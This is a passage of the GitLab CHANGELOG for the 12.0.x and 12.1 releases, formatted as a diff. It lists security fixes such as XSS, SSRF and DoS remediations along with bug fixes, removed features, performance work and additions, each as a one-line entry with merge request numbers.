+- Update tar to 2.2.2. !29949 (Takuya Noguchi)
+- Update lodash to 4.7.14 and lodash.mergewith to 4.6.2. !30602 (Takuya Noguchi)
+- Correctly check permissions when creating snippet notes.
+- Gate MR head_pipeline behind read_pipeline ability.
+- Prevent Billion Laughs attack.
+- Add missing authorizations in GraphQL.
+- Fix Denial of Service for comments when rendering issues/MR comments.
+- Expose merge requests count based on user access.
+- Fix DoS vulnerability in color validation regex.
+- Prevent the detection of merge request templates by unauthorized users.
+- Persist tmp snippet uploads at users.
+
+### Removed (7 changes)
+
+- Disable Kubernetes credential passthrough for managed project-level clusters. !29262
+- Remove deprecated group routes. !29351
+- Remove support for creating non-RBAC kubernetes clusters. !29614
+- Remove Kubernetes service integration and Kubernetes service template from available deployment platforms. !29786
+- Remove MySQL support. !29790
+- Remove depreated /u/:username routing. !30044
+- Remove support for legacy pipeline triggers. !30133
+
+### Fixed (84 changes, 14 of them are from the community)
+
+- Update a user's routes after updating their name. !23272
+- Show poper panel when validation error occurs in admin settings panels. !25434
+- Expect bytes from Gitaly RPC GetRawChanges. !28164
+- Sanitize LDAP output in Rake tasks. !28427
+- Left align mr widget icons and text. !28561
+- Keep the empty folders in the tree. !29196
+- Fix incorrect emoji placement in commit diff discussion. !29445
+- Fix favicon path with uploads of object store. !29482 (Roger Meier)
+- Remove duplicate trailing +/- char in merge request discussions. !29518
+- Fix the signup form's username validation messages not displaying. !29678 (Jiaan Louw)
+- Fix broken environment selector and always display it on monitoring dashboard. !29705
+- Fix Container Scanning job timeout when using the kubernetes executor. !29706
+- Look for new branches more carefully. !29761
+- Fix nested lists unnecessary margin. !29775 (Kuba Kopeć)
+- Fix reports jobs timing out because of cache. !29780
+- Fix Double Border in Profile Page. !29784 (Yoginth <@yo>)
+- Remove minimum character limits for fuzzy searches when using a CTE. !29810
+- Set default sort method for dashboard projects list. !29830 (David Palubin)
+- Protect TeamCity builds from triggering when a branch has been deleted. And a MR-option. !29836 (Nikolay Novikov, Raphael Tweitmann)
+- Fix pipeline schedule does not run correctly when it's scheduled at the same time with the cron worker. !29848
+- Always shows author of created issue/started discussion/comment in HTML body and text of email. !29886 (Frank van Rest)
+- Build correct basenames for title search results. !29898
+- Resolve "500 error when forking via the web IDE button". !29909
+- Turn commit sha in monitor charts popover to link. !29914
+- Fix broken URLs for uploads with a plus in the filename. !29915
+- Retry fetching Kubernetes Secret#token (#63507). !29922
+- Enforce presence of pipeline when "Pipeline must succeed" project setting is enabled. !29926
+- Fix unresponsive reply button in discussions. !29936
+- Allow asynchronous rebase operations to be monitored. !29940
+- Resolve Avatar in Please sign in pattern too large. !29944
+- Persist the cluster a deployment was deployed to. !29960
+- Fix runner tags search dropdown being empty when there are tags. !29985
+- Display the correct amount of projects being migrated/rolled-back to Hashed Storage when specifying ranges. !29996
+- Resolve Environment details header border misaligned. !30011
+- Correct link to docs for External Dashboard. !30019
+- Fix Jupyter-Git integration. !30020 (Amit Rathi)
+- Update Mermaid to 8.1.0. !30036
+- Fix background migrations failing with unused replication slot. !30042
+- Disable Rails SQL query cache when applying service templates. !30060
+- Set higher TTL for write lock of trace to prevent concurrent archiving. !30064
+- Fix charts on Cluster health page. !30073
+- Display boards filter bar on mobile. !30120
+- Fix IDE editor not showing when switching back from preview. !30135
+- Support note position tracing on an image. !30158
+- Replace slugifyWithHyphens with improved slugify function. !30172 (Luke Ward)
+- 'Open' and 'Closed' issue board lists no longer display a redundant tooltip. !30187
+- Fix pipelines table to update without refreshing after action. !30190
+- Change ruby_process_start_time_seconds metric to unix timestamp instead of seconds from boot. !30195
+- Fix attachments using the wrong URLs in e-mails. !30197
+- Make sure UnicornSampler is started only in master process. !30215
+- Don't show image diff note on text file. !30221
+- Fix median counting for cycle analytics. !30229
+- In WebIDE allow adding new entries of the same name as deleted entry. !30239
+- Don't let logged out user do manual order. !30264
+- Skip spam check for task list updates. !30279
+- Make Housekeeping button do a full garbage collection. !30289
+- Removing an image should not output binary data. !30314
+- Fix spacing issues for toasts. !30345
+- Fix race in forbid_sidekiq_in_transactions.rb. !30359
+- Fixed back navigation for projects filter. !30373
+- Fix environments broken terminal. !30401
+- Fix invalid SSL certificate errors on Drone CI service. !30422
+- Fix subgroup url in search drop down. !30457
+- Make unicorn_workers to return meaningful results. !30506
+- Fix wrong URL when creating milestones from instance milestones dashboard. !30512
+- Fixed incorrect line wrap for assignee label in issues. !30523 (Marc Schwede)
+- Improves section header whitespace on the CI/CD Charts page. !30531
+- Prevent multiple confirmation modals from opening when deleting a repository. !30532
+- Aligns CI icon in Merge Request dashboard. !30558
+- Add text-secondary to controls in project list. !30567
+- Review Tools: Add large z-index to toolbar. !30583
+- Hide restricted and disallowed visibility radios. !30590
+- Resolve Label picker: Line break on long label titles. !30610
+- Fix a bug that prevented projects containing merge request diff comments from being imported. !30630
+- I fixed z index bug in diff page. !30657 (Faruk Can)
+- Allow client authentication method to be configured for OpenID Connect. !30683 (Vincent Fazio)
+- Fix commenting before discussions are loaded. !30724
+- Fix linebreak rendering in Mermaid flowcharts. !30730
+- Make httpclient respect system SSL configuration. !30749
+- Bump fog-aws to v3.5.2. !30803
+- API: Allow changing only ci_default_git_depth. !30888 (Mathieu Parent)
+- Search issuables by iids. (Riccardo Padovani)
+- Fix broken warnings while Editing Issues and Edit File on MR.
+- Make sure we are receiving the proper information on the MR Popover by updating the IID in the graphql query.
+
+### Changed (39 changes, 8 of them are from the community)
+
+- Improve group list UI. !26542
+- Backport and Docs for Paginate license management and add license search. !27602
+- Update merge requests section description text on project settings page. !27838
+- Knative version bump 0.5 -> 0.6. !28798 (Chris Baumbauer)
+- Add salesforce logo for salesforce SSO. !28857
+- Enforced requirements for UltraAuth users. !28941 (Kartikey Tanna)
+- Return 400 when deleting tags more often than once per hour. !29448
+- Add identity information to external authorization requests. !29461
+- Enable just-in-time Kubernetes resource creation for project-level clusters. !29515
+- renamed discussion to thread in merge-request and issue timeline. !29553 (Michel Engelen)
+- Changed HTTP Status Code for disabled repository on /branches and /commits to 404. !29585 (Sam Battalio)
+- Enable Git object pools. !29595 (jramsay)
+- Updated container registry to display error message when special characters in path. Documentation has also been updated. !29616
+- Allow developers to delete tags. !29668
+- Will not update issue timestamps when changing positions in a list. !29677
+- Include a link back to the MR for Visual Review feedback form. !29719
+- Improve discussion reply buttons layout and how jump to next discussion button appears. !29779
+- Renders a pre-release tag for releases. !29797
+- Migrate NULL values for users.private_profile column and update users API to reject null value for private_profile. !29888
+- Re-name files in Web IDE in a more natural way. !29948
+- Include events from subgroups in group's activity. !29953 (Fabian Schneider @fabsrc)
+- Upgrade to Gitaly v1.49.0. !29990
+- Remove group and instance clusters feature flag. !30124
+- Add support for creating random passwords in user creation API. !30138
+- Support CIDR notation in IP rate limiter. !30146
+- Add Redis call details in Peek performance bar. !30191
+- Create Knative role and binding with service account. !30235
+- Add cleanup migration for MR's multiple assignees. !30261
+- Updates PHP template to php:latest to ensure always targeting latest stable. !30319 (Paul Giberson)
+- Format `from` and `to` fields in JSON audit log. !30333
+- Upgrade to Gitaly v1.51.0. !30353
+- Modify cycle analytics on project level. !30356
+- Extract clair version as CLAIR_EXECUTABLE_VERSION variable and update clair executable from v8 to v11. !30396
+- Upgrade Rouge to 3.5.1. !30431
+- Move multiple issue boards to core. !30503
+- Upgrade to Gitaly v1.52.0. !30568
+- Upgrade to Gitaly v1.53.0. !30614
+- Open WebIDE in fork when user doesn't have access. !30642
+- Propagate python version variable. (Can Eldem)
+
+### Performance (25 changes, 1 of them is from the community)
+
+- Remove tooltip directive on project avatar image component. !29631 (George Tsiolis)
+- Use Rugged if we detect storage is NFS and we can access the disk. !29725
+- Add endpoint for fetching diverging commit counts. !29802
+- Cache feature flag names in Redis for a minute. !29816
+- Avoid storing backtraces from Bitbucket Cloud imports in the database. !29862
+- Remove import columns from projects table. !29863
+- Enable Gitaly ref name caching for discussions.json. !29951
+- Allow caching of negative FindCommit matches. !29952
+- Eliminate N+1 queries in Dashboard::TodosController. !29954
+- Memoize non-existent custom appearances. !29957
+- Add a separate endpoint for fetching MRs serialized as widgets. !29979
+- Use CTE to fetch clusters hierarchy in single query. !30063
+- Enable Gitaly ref caching for SearchController. !30105
+- Avoid loading pipeline status in search results. !30111
+- Improve performance of MergeRequestsController#ci_environment_status endpoint. !30224
+- Add a memory cache local to the thread to reduce Redis load. !30233
+- Cache Flipper persisted names directly to local memory storage. !30265
+- Limit amount of JUnit tests returned. !30274
+- Cache Flipper feature flags in L1 and L2 caches. !30276
+- Prevent amplification of ReactiveCachingWorker jobs upon failures. !30432
+- Allow ReactiveCaching to support nil value. !30456
+- Improve performance of fetching environments statuses. !30560
+- Do Redis lookup in batches in ActiveSession.sessions_from_ids. !30561
+- Remove catfile cache feature flag. !30750
+- Fix Gitaly auto-detection caching. !30954
+
+### Added (46 changes, 12 of them are from the community)
+
+- Document the negative commit message push rule for the API. !14004 (Maikel Vlasman)
+- Expose saml_provider_id in the users API. !14045
+- Improve Project API. !28327 (Mathieu Parent)
+- Remove Sentry from application settings. !28447 (Roger Meier)
+- Implement borderless discussion design with new reply field. !28580
+- Enable terminals for instance and group clusters. !28613
+- Resolve Multiple discussions per line in merge request diffs. !28748
+- Adds link to Grafana in Admin > Monitoring settings when grafana is enabled in config. !28937 (Romain Maneschi)
+- Bring Manual Ordering on Issue List. !29410
+- Added commit type to tree GraphQL response. !29412
+- New API for User Counts, updates on success of an MR the count on top and in other tabs. !29441
+- Add option to limit time tracking units to hours. !29469 (Jon Kolb)
+- Add confirmation for registry image deletion. !29505
+- Sync merge ref upon mergeability check. !29569
+- Show an Upcoming Status for Releases. !29577
+- Add order_by and sort params to list runner jobs api. !29629 (Sujay Patel)
+- Allow custom username for deploy tokens. !29639
+- Add a verified pill next to email addresses under the admin users section. !29669
+- Add rake task to clean orphan artifact files. !29681
+- Render GFM in GraphQL. !29700
+- Upgrade asciidoctor version to 2.0.10. !29741 (Rajendra Kadam)
+- Allow auto-completing scoped labels. !29749
+- Enable syntax highlighting for AsciiDoc. !29835 (Guillaume Grossetie)
+- Expose placeholder element for metrics charts in GFM. !29861
+- Added a min schema version check to db:migrate. !29882
+- Extract zoom link from issue and pass to frontend. !29910 (raju249)
+- GraphQL mutations for add, remove and toggle emoji. !29919
+- Labeled issue boards can now collapse. !29955
+- Allow Ingress to be uninstalled from the UI. !29977
+- Add permission check to metrics dashboards endpoint. !30017
+- Allow JupyterHub to be uninstalled from the UI. !30097
+- Allow GitLab Runner to be uninstalled from the UI. !30176
+- GraphQL mutations for managing Notes. !30210
+- Add API for CRUD group clusters. !30213
+- Add endpoint to move multiple issues in boards. !30216
+- Enable terminals button for group clusters. !30255
+- Prevent excessive sanitization of AsciiDoc ouptut. !30290 (Guillaume Grossetie)
+- Extend `MergeToRefService` to create merge ref from an arbitrary ref. !30361
+- Add CI variable to provide GitLab HOST. !30417
+- Add migration for adding rule_type to approval_project_rules. !30575
+- Enable section anchors in Asciidoctor. !30666 (Guillaume Grossetie)
+- Preserve footnote link ids in Asciidoctor. !30790 (Guillaume Grossetie)
+- Add support for generating SSL certificates for custon pages domains through Let's Encrypt.
+- Introduce default: for gitlab-ci.yml.
+- Move Multiple Issue Boards for Projects to Core.
+- Add Gitaly data to the usage ping.
+
+### Other (35 changes, 15 of them are from the community)
+
+- Remove unresolved class and fixed height in discussion header. !28440 (David Palubin)
+- Moved EE/CE code differences for file `app/views/search/_category.html.haml` into CE. !28755 (Michel Engelen)
+- Changes "Todo" to "To Do" in the UI for clarity. !28844
+- Migrate GitLab managed project-level clusters to unmanaged if a Kubernetes namespace was unable to be created. !29251
+- Migrate GitLab managed project-level clusters to unmanaged if they are missing a Kubernetes service account token. !29648
+- Add strategies column to operations_feature_flag_scopes table. !29808
+- Disallow `NULL` values for `geo_nodes.primary` column. !29818 (Arun Kumar Mohan)
+- Replace 'JIRA' with 'Jira'. !29849 (Takuya Noguchi)
+- Support jsonb default in add_column_with_default migration helper. !29871
+- Update pagination prev and next texts. !29911
+- Adds metrics to measure cost of expensive operations. !29928
+- Always allow access to health endpoints from localhost in dev. !29930
+- Update GitLab Runner Helm Chart to 0.6.0. !29982
+- Use darker gray color for system note metadata and edited text. !30054
+- Fix typo in docs about Elasticsearch. !30162 (Takuya Noguchi)
+- Fix typo in code comments about Elasticsearch. !30163 (Takuya Noguchi)
+- Update mixin-deep to 1.3.2. !30223 (Takuya Noguchi)
+- Migrate markdown header_spec.js to Jest. !30228 (Martin Hobert)
+- Remove istanbul JavaScript package. !30232 (Takuya Noguchi)
+- Centralize markdownlint configuration. !30263
+- Use PostgreSQL 9.6.11 in CI tests. !30270 (Takuya Noguchi)
+- Fix typo in updateResolvableDiscussionsCounts action. !30278 (Frank van Rest)
+- Change color for namespace in commit search. !30312
+- Remove applySuggestion from notes service. !30399 (Frank van Rest)
+- Improved readability of storage statistics in group / project admin area. !30406
+- Alignign empty container registry message with design guidelines. !30502
+- Remove toggleAward from notes service. !30536 (Frank van Rest)
+- Remove deleteNote from notes service. !30537 (Frank van Rest)
+- change the use of boardService in favor of boardsStore on footer for the board component. !30616 (eduarmreyes)
+- Update example Prometheus scrape config. !30739
+- Update GitLab Pages to v1.7.0.
+- Add token_encrypted column to operations_feature_flags_clients table.
+- Removes EE diff for app/views/profiles/preferences/show.html.haml.
+- Removes EE differences for app/views/layouts/fullscreen.html.haml.
+- Removes EE differences for app/views/admin/users/show.html.haml.
+
+
+## 12.0.12
+
+- No changes.
+
+## 12.0.10
+
+- No changes.
+- No changes.
+
+## 12.0.7
+
+### Security (22 changes)
+
+- Ensure only authorised users can create notes on Merge Requests and Issues.
+- Add :login_recaptcha_protection_enabled setting to prevent bots from brute-force attacks.
+- Queries for Upload should be scoped by model.
+- Speed up regexp in namespace format by failing fast after reaching maximum namespace depth.
+- Limit the size of issuable description and comments.
+- Send TODOs for comments on commits correctly.
+- Restrict MergeRequests#test_reports to authenticated users with read-access on Builds.
+- Added image proxy to mitigate potential stealing of IP addresses.
+- Filter out old system notes for epics in notes api endpoint response.
+- Avoid exposing unaccessible repo data upon GFM post processing.
+- Fix HTML injection for label description.
+- Make sure HTML text is always escaped when replacing label/milestone references.
+- Prevent DNS rebind on JIRA service integration.
+- Use admin_group authorization in Groups::RunnersController.
+- Prevent disclosure of merge request ID via email.
+- Show cross-referenced MR-id in issues' activities only to authorized users.
+- Enforce max chars and max render time in markdown math.
+- Check permissions before responding in MergeController#pipeline_status.
+- Remove EXIF from users/personal snippet uploads.
+- Fix project import restricted visibility bypass via API.
+- Fix weak session management by clearing password reset tokens after login (username/email) are updated.
+- Fix SSRF via DNS rebinding in Kubernetes Integration.
+
+
+## 12.0.6
+
+- No changes.
+
+## 12.0.3 (2019-06-27)
+
+- No changes.
+### Security (10 changes)
+
+- Persist tmp snippet uploads at users.
+- Gate MR head_pipeline behind read_pipeline ability.
+- Fix DoS vulnerability in color validation regex.
+- Expose merge requests count based on user access.
+- Fix Denial of Service for comments when rendering issues/MR comments.
+- Add missing authorizations in GraphQL.
+- Disable Rails SQL query cache when applying service templates.
+- Prevent Billion Laughs attack.
+- Correctly check permissions when creating snippet notes.
+- Prevent the detection of merge request templates by unauthorized users.
+
+
+## 12.0.2 (2019-06-25)
+
+### Fixed (7 changes, 1 of them is from the community)
+
+- Fix missing API notification flags for Microsoft Teams. !29824 (Seiji Suenaga)
+- Fixed 'diff version changes' link not working. !29825
+- Fix label serialization in issue and note hooks. !29850
+- Include the GitLab version in the cache key for Gitlab::JsonCache. !29938
+- Prevent EE backport migrations from running if CE is not migrated. !30002
+- Silence backup warnings when CRON=1 in use. !30033
+- Fix comment emails not respecting group-level notification email.
+
+### Performance (1 change)
+
+- Omit issues links in merge request entity API response. !29917
+
+
+## 12.0.1 (2019-06-24)
+
+- No changes.
+
+## 12.0.0 (2019-06-22)
+
+### Security (10 changes)
+
+- Prevent bypass of restriction disabling web password sign in.
+- Hide confidential issue title on unsubscribe for anonymous users.
+- Resolve: Milestones leaked via search API.
+- Fix url redaction for issue links.
+- Add extra fields for handling basic auth on import by url page.
+- Fix confidential issue label disclosure on milestone view.
+- Filter relative links in wiki for XSS.
+- Prevent invalid branch for merge request.
+- Prevent XSS injection in note imports.
+- Protect Gitlab::HTTP against DNS rebinding attack.
+
+### Removed (5 changes, 1 of them is from the community)
+
+- Remove ability for group clusters to be automatically configured on creation. !27245
+- Removes support for AUTO_DEVOPS_DOMAIN. !28460
+- Remove the circuit breaker API. !28669
+- Make Kubernetes service templates readonly. !29044
+- Remove Content-Type override for Mattermost OAuth login. (Harrison Healey)
+
+### Fixed (115 changes, 28 of them are from the community)
+
+- Fix col-sm-* in forms to keep layout. !24885 (Takuya Noguchi)
+- Avoid 500 when rendering users ATOM data. !25408
+- Fix flyout nav on small viewports. !25998
+- Fix proxy support in Container Scanning. !27246
+- preventing blocked users and their PipelineSchdules from creating new Pipelines. !27318
+- Fix yaml linting for GitLab CI inside project (.gitlab/ci) *.yml files and CI template files. !27576 (Will Hall)
+- Fix yaml linting for project root *.yml files. !27579 (Will Hall)
+- Added a content field to atom feed. !27652
+- Bring secondary button styles up to design standard. !27920
+- Use FindOrCreateService to create labels and check for existing ones. !27987 (Matt Duren)
+- Fix "too many loops" error by handling gracefully cron schedules for non existent days. !28002
+- Fix 500 error when accessing charts with an anonymous user. !28091 (Diego Silva)
+- Allow user to set primary email first when 2FA is required. !28097 (Kartikey Tanna)
+- Auto-DevOps: allow to disable rollout status check. !28130 (Sergej Nikolaev <kinolaev@gmail.com>)
+- Resolved JIRA service: NoMethodError: undefined method 'find' for nil:NilClass. !28206
+- Supports Matomo/Piwik string website ID ("Protect Track ID" plugin). !28214 (DUVERGIER Claude)
+- Fix loading.. dropdown at search field. !28275 (Pavel Chausov)
+- Remove unintended error message shown when moving issues. !28317
+- Properly clear the merge error upon rebase failure. !28319
+- Upgrade dependencies for node 12 compatibility. !28323
+- Fix. `db:migrate` is failed on MySQL 8. !28351 (sue445)
+- Fix an error in projects admin when statistics are missing. !28355
+- Fix emojis URLs. !28371
+- Prevent common name collisions when requesting multiple Let's Encrypt certificates concurrently. !28373
+- Fix issue that causes "Save changes" button in project settings pages to be enabled/disabled incorrectly when changes are made to the form. !28377
+- Fix diff notes and discussion notes being exported as regular notes. !28401
+- Fix padding in MR widget. !28472
+- Updates loading icon in commits page. !28475
+- Fix border radius of discussions. !28490
+- Update broadcast message action icons. !28496 (Jarek Ostrowski @jareko)
+- Update icon color to match design system, pass accessibility. !28498 (Jarek Ostrowski @jareko)
+- Show data on Cycle Analytics page when value is less than a second. !28507
+- Fix dropdown position when loading remote data. !28526
+- Delete unauthorized Todos when project is made private. !28560
+- Change links in system notes to use relative paths. !28588 (Luke Picciau)
+- Update favicon from next. !28601 (Jarek Ostrowski @jareko)
+- Open visibility help link in a new tab. !28603 (George Tsiolis)
+- Fix issue importing members with owner access. !28636
+- Fix the height of the page headers on issues/merge request/snippets pages. !28650 (Erik van der Gaag)
+- Always show "Pipelines must succeed" checkbox. !28651
+- Resolve moving an issue results in broken image links in comments. !28654
+- Fix milestone references containing &, <, or >. !28667
+- Add hover and focus to Attach a file. !28682
+- Correctly word-wrapping project descriptions with very long words. !28695 (Erik van der Gaag)
+- Prevent icons from shrinking in User popover when contents exceed container. !28696
+- Allow removal of empty lines via suggestions. !28703
+- Throw an error when formatDate's input is invalid. !28713
+- Fix order dependency with user params during imports. !28719
+- Fix search dropdown not closing on blur if empty. !28730
+- Fixed ignored postgres version that occurs after the first autodevops deploy when specifying custom $POSTGRES_VERSION. !28735 (Brandon Dimcheff)
+- Limit milestone dates to before year 9999. !28742 (Luke Picciau)
+- Set project default visibility to max allowed. !28754
+- Cancel auto merge when merge request is closed. !28782
+- Fixes Ref link being displayed as raw HTML in the Pipelines page. !28823
+- Fix job name in graph dropdown overflowing. !28824
+- Add style to disable webkit icons for search inputs. !28833 (Jarek Ostrowski @jareko)
+- Fix email notifications for user excluded actions. !28835
+- Resolve Tooltip Consistency. !28839
+- Fix Merge Request merge checkbox alignment on mobile view. !28845
+- Add referenced-commands in no overflow list. !28858
+- Fix participants list wrapping. !28873
+- Excludes MR author from Review roulette. !28886 (Jacopo Beschi @jacopo-beschi)
+- Give labels consistent weight. !28895
+- Added padding to time window dropdown in monitor dashboard. !28897
+- Move text under p tag. !28901
+- Resolve Position is off when visiting files with anchors. !28913
+- Fix whitespace changes visibility when the related file was initially collapsed. !28950 (Ondřej Budai)
+- Fix emoji picker visibility issue. !28984
+- Resolve Merge request discussion text jumps when resolved. !28995
+- Allow lowercase prefix for Youtrack issue ids. !29057 (Matthias Baur)
+- Add support to view entirety of long branch name in dropdown instead of it being cut off. !29069
+- Fix inconsistent option dropdown button height to match adjacent button. !29096
+- Improve new user email markup unconsistency between text and html parts. !29111 (Haunui Saint-sevin)
+- Eliminate color inconsistencies in metric graphs. !29127
+- Avoid setting Gitlab::Session on sessionless requests and Git HTTP. !29146
+- Use the selected time window for metrics dashboard. !29152
+- Remove build policies from serverless app template. !29253
+- Fix serverless apps deployments by bumping 'tm' version. !29254
+- Include the port in the URLs of the API Link headers. !29267
+- Fix Fogbugz Importer not working. !29383
+- Fix GPG signature verification with recent GnuPG versions. !29388 (David Palubin)
+- Cancel Auto Merge when target branch is changed. !29416
+- Fix nil coercion updating storage size on project statistics. !29425
+- Ignore legacy artifact columns in Project Import/Export. !29427
+- Avoid DB timeouts when scheduling migrations. !29437
+- Handle encoding errors for MergeToRefService. !29440
+- Fix UTF-8 conversion issues when resolving conflicts. !29453
+- Enlarge metrics time-window dropdown links. !29458
+- Remove unnecessary decimals on Metrics chart axis. !29468
+- Fix scrolling to top on assignee change. !29500
+- Allow command/control click to open link in new tab on Merge Request tabs. !29506
+- Omit blocked admins from repository check e-mails. !29507
+- Fix diverged branch locals. !29508
+- Process up to 100 commit messages for references when pushing to a new default branch. !29511 (Fabio Papa)
+- Allow developer role to delete docker tags via container registry API. !29512
+- Fix "Resolve conflicts" button not appearing for some users. !29535
+- Fix: propagate all documented ENV vars to CI when using SAST. !29564
+- AutoDevops function ensure_namespace() now explicitly tests the namespace. !29567 (Jack Lei)
+- Fix sidebar flyout navigation. !29571
+- Fix missing deployment rockets in monitor dashboard. !29574
+- Fix inability to set visibility_level on project via API. !29578
+- Ensure a Kubernetes namespace is not used for deployments if there is no service account token associated with it. !29643
+- Refresh service_account_token for kubernetes_namespaces. !29657
+- Expose all current events properly on services API. !29736 (Zsolt Kovari)
+- Move Dropdown to Stick to MR View App Button. !29767
+- Fix IDE commit using latest ref in branch and overriding contents. !29769
+- Revert concurrent pipeline creation for pipeline schedules. !29794
+- Fix border radii on diff files and repo files.
+- Fix padding of unclickable pipeline dropdown items to match links.
+- Fix pipeline schedules when owner is nil.
+- Fix remote mirrors not updating after tag push.
+- Fix layout of group milestone header.
+- Fixed show whitespace button not refetching diff content.
+- Change resolve button text to mark comment as resolved.
+- Align system note within discussion with other notes.
+
+### Changed (35 changes, 13 of them are from the community)
+
+- Include information if issue was clossed via merge request or commit. !15610 (Michał Zając)
+- Removes duplicated members from api/projects/:id/members/all. !24005 (Jacopo Beschi @jacopo-beschi)
+- Apply the group setting "require 2FA" across all subgroup members as well when changing the group setting. !24965 (rroger)
+- Enable function features for external Knative installations. !27173
+- Remove dind from DAST template. !28083
+- Update registration form to indicate invalid name or username length on input. !28095 (Jiaan Louw)
+- Default masked to false for new variables. !28186
+- Better isolated `Docker.gitlab-ci.yml` to avoid interference with other job configurations. !28213 (lrkwz)
+- Remove the mr_push_options feature flag. !28278
+- Replace Oxygen-Sans font with Noto Sans. !28322
+- Update new smiley icons, find n replace old names with new ones. !28338 (Jarek Ostrowski)
+- Adds a text label to color pickers to improve accessibility. !28343 (Chris Toynbee)
+- Prioritize login form on mobile breakpoint. !28360
+- Move some project routes under /-/ scope. !28435
+- I18n for issue closure reason in emails. !28489 (Michał Zając)
+- Geo: Remove Gitlab::LfsToken::LegacyRedisDeviseToken implementation and usage. !28546
+- Add check circle filled icon for resolved comments. !28663
+- Update project security dashboard documentation. !28681
+- Remove `docker pull` prefix when copying a tag from the registry. !28757 (Benedikt Franke)
+- Adjust milestone completion rate to be based on issues count. !28777
+- Enhance line-height of Activity feed UI. !28856 (Jacopo Beschi @jacopo-beschi)
+- Upgrade to Gitaly v1.43.0. !28867
+- Do not display Update app button when saving Knative domain name. !28904
+- Rebrush of flash-warning according to the new design (brighter background and darker font). !28916 (Michel Engelen)
+- Added reference, web_path, and relative_position fields to GraphQL Issue. !28998
+- Change logic behind cycle analytics. !29018
+- Add documentation links for confidental and locked discussions. !29073
+- Update GITALY_SERVER_VERSION to 1.45.0. !29109
+- Allow masking if 8 or more characters in base64. !29143 (thomas-nilsson-irfu)
+- Replaces sidekiq mtail metrics with ruby instrumentation metrics. !29215
+- Allow references to labels and milestones to contain emoji. !29284
+- changed the styles on `Add List` dropdown to look more like the EE vesion. !29338 (Michel Engelen)
+- Hashed Storage is enabled by default on new installations. !29586
+- Upgrade to Gitaly v1.47.0. !29789
+- Default MR checkbox to true in most cases.
+
+### Performance (11 changes)
+
+- Improve performance of jobs controller. !28093
+- Upgrade Ruby version to 2.6.3. !28117
+- Make pipeline schedule worker resilient. !28407
+- Fix performance issue with large Markdown content in issue or merge request description. !28597
+- Improve clone performance by using delta islands. !28871
+- Reduce Gitaly calls to improve performance when rendering suggestions. !29027
+- Use Redis for CacheMarkDownField on non AR models. !29054
+- Add index on public_email for users. !29430
+- Speed up commit loads by disabling BatchLoader replace_methods. !29633
+- Add index on invite_email for members. !29768
+- Improve performance of users autocomplete when there are lots of results.
+
+### Added (47 changes, 12 of them are from the community)
+
+- Added option to filter jobs by age in the /job/request API endpoint. !1340 (Dmitry Chepurovskiy)
+- Add ability to define notification email addresses for groups you belong to. !25299
+- Add wiki size to project statistics. !25321 (Peter Marko)
+- 58404 - setup max depth for GraphQL. !25737 (Ken Ding)
+- Add auto SSL toggle option to Pages domain settings page. !26438
+- Empty project state for Web IDE. !26556
+- Add support for multiple job parents in GitLab CI YAML. !26801 (Wolphin (Nikita))
+- Pass user's identity and token from JupyterHub to user's Jupyter environment. !27314 (Amit Rathi)
+- Add issues_statistics api endpoints and extend issues search api. !27366
+- Validate Kubernetes credentials at cluster creation. !27403
+- Update the merge request widget's "Merge" button to support merge trains. !27594
+- Style the toast component according to design specs. !27734
+- Add API support for committing changes to different projects in same fork network. !27915
+- Add support for && and || to CI Pipeline Expressions. Change CI variable expression matching for Lexeme::Pattern to eagerly return tokens. !27925 (Martin Manelli)
+- Added ref querystring parameter to project search API to allow searching on branches/tags other than the default. !28069 (Lee Tickett)
+- Add notify_only_default_branch option to PipelinesEmailService. !28271 (Peter Marko)
+- Support multiplex GraphQL queries. !28273
+- Add Namespace and ProjectStatistics to GraphQL API. !28277
+- Display classname JUnit attribute in report modal. !28376
+- API: Allow to get and set "masked" attribute for variables. !28381 (Mathieu Parent)
+- Add allow_failure attribute to Job API. !28406
+- Add support for AsciiDoc include directive. !28417 (Jakub Jirutka & Guillaume Grossetie)
+- Migrate Kubernetes service integration templates to clusters. !28534
+- Allow issue list to be sorted by relative order. !28566
+- Implement borderless discussion design with new reply field. !28580
+- Add expand/collapse to error tracking settings. !28619
+- Adds collapsible sections for job log. !28642
+- Add LFS oid to GraphQL blob type. !28666
+- Allow users to specify a time range on metrics dashboard. !28670
+- Add a New Copy Button That Works in Modals. !28676
+- Add Kubernetes logs to Admin Logs UI. !28685
+- Set up git client in Jupyter installtion. !28783 (Amit Rathi)
+- Add task count and completed count to responses of Issue and MR. !28859
+- Add project level git depth CI/CD setting. !28919
+- Use global IDs when exposing GraphQL resources. !29080
+- Expose wiki_size on GraphQL API. !29123
+- Expose notes and discussions in GraphQL. !29212
+- Use to 'gitlabktl' build serverless applications. !29258
+- Adds pagination component for graphql api. !29277
+- Allow switching clusters between managed and unmanaged. !29322
+- Get and edit ci_default_git_depth via project API. !29353
+- Link to an external dashboard from metrics dashboard. !29369
+- Add labels to note event payload. !29384 (Sujay Patel)
+- Add Join meeting button to issues with Zoom links. !29454
+- Add backtraces to Peek performance bar for SQL calls.
+- Added diff suggestion feature discovery popover.
+- Make task completion status available via GraphQL.
+
+### Other (62 changes, 14 of them are from the community)
+
+- Unified EE/CS differences in repository/show.html. !13562
+- Remove legacy artifact related code. !26475
+- Backport the EE schema and migrations to CE. !26940 (Yorick Peterse)
+- Add dedicated logging for GraphQL queries. !27885
+- i18n: externalize strings from user profile settings. !28088 (Antony Liu)
+- Omit max-count for diverging_commit_counts behind feature flag. !28157
+- Fix alignment of resend button in members page. !28202
+- Update indirect dependency fsevents from 1.2.4 to 1.2.9. !28220 (Takuya Noguchi)
+- Update get_process_mem to 0.2.3. !28248
+- Add Pool repository to the usage ping. !28267
+- Forbid NULL in project_statistics.packages_size. !28400
+- Update Gitaly to v1.42.1. !28425
+- Upgrade babel to 7.4.4. !28437 (Takuya Noguchi)
+- Externalize profiles preferences. !28470 (George Tsiolis)
+- Update GitLab Runner Helm Chart to 0.5.0. !28497
+- Change collapse icon size to size of profile picture. !28512
+- Resolve Snippet icon button is misaligned. !28522
+- Bumps Kubernetes in Auto DevOps to 1.11.10. !28525
+- Bump Helm version in Auto-DevOps.gitlab-ci.yml to 2.14.0. !28527
+- Migrate the monitoring dashboard store to vuex. !28555
+- Give New Snippet button green outline. !28559
+- Removes project_auto_devops#domain column. !28574
+- Externalize strings of email page in user profile. !28587 (antony liu)
+- Externalize strings of active sessions page in user profile. !28590 (antony liu)
+- Refactor and abstract Auto Merge Processes. !28595
+- Add section to dev docs on accessing chatops. !28623
+- Externalize strings of chat page in user profile. !28632
